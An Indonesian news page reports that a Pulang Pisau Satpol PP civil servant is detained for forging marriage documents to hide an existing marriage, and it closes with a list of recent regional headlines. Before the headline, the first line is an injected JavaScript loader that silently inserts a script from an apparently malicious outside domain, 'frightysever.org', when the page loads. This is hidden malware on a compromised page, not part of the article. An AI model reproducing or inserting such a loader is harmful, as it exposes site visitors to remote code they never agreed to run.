(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL PULPIS

Palsukan Dokumen Nikah, Oknum ASN Satpol PP Pulpis Digugat Cerai Istri dan Terancam Bui


KANALKALIMANTAN.COM, PULANG PISAU – Sudah jatuh tertimpa tangga, itulah yang di alami oleh HY ( 41), oknum ASN satpol PP Pulang Pisau. Bagaimana tidak, baru beberapa bulan digugat cerai oleh istrinya WW yang juga seorang ASN di Pulpis, HY juga harus berurusan dengan polisi karena diketahui memalsukan dokumen saat dirinya akan menikahi WW (40), janda juga sebagai ASN di Sidoarjo, Jawa Timur.

Demikian disampaikan dalam Press Cenference oleh Kapolres Pulang Pisau, AKBP Siswo Yuwono Bima Putra Mada didampingi Wakapolres Kompol Imam Riadi serta Kasatreskrim Iptu John Digul Manra senin ( 27/1/2020) kemarin. Disampaikan, jika surat yang dipalsukan pelaku HY adalah dokumen yang digunakan sebagai syarat untuk menikah di KUA, yaitu N1, N2, N3, N4 dan N5. Dimana dalam dokumen tersebut pelaku HY merubah statusnya yang sebenarnya sudah beristri menjadi perjaka.

“Jadi pelaku ini kepada WW yang juga ASN di Jawa sana mengaku masih bujangan, karena percaya WW menerima lamaran HY. Bahkan untuk memuluskan lamarannya, pelaku HY lalu memalsukan surat-surat yang menjadi syarat untuk nikah pada bulan Mei 2019 lalu.

Seiring waktu, WW ini pindah tugas kerja ke Pulpis, nah rupanya tahu jika HY ini sebenarnya sudah memiliki istri lain sebelumnya, yaitu ST yang juga warga Pulang Pisau. Karena merasa malu dan dibohongi, WW lalu menggugat cerai WW,” terang Kapolres yang sambil memperlihatkan dokumen yang di palsukan HY.

Atas pelanggaran tindak pidana membuat surat palsu tersebut, HY pun kini harus di tahan di Polres Pulang Pisau untuk mempertanggung jawabkan perbuatannya. Dirinya pun terancam melanggar pasal 263 ayat (1) KUHP pidana dengan ancaman pidana 6 tahun.

“Kita sudah memanggil beberapa saksi, kemudian juga mengumpulkan beberapa bukti. Namun kita masih akan tetap mengembangkan kasus ini,” terang AKBP Siswo. (Kanalkalimantan.com/Sjy)

Reporter : Sjy
Editor : Chell


Desy Arfianty

Share
Published by
Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.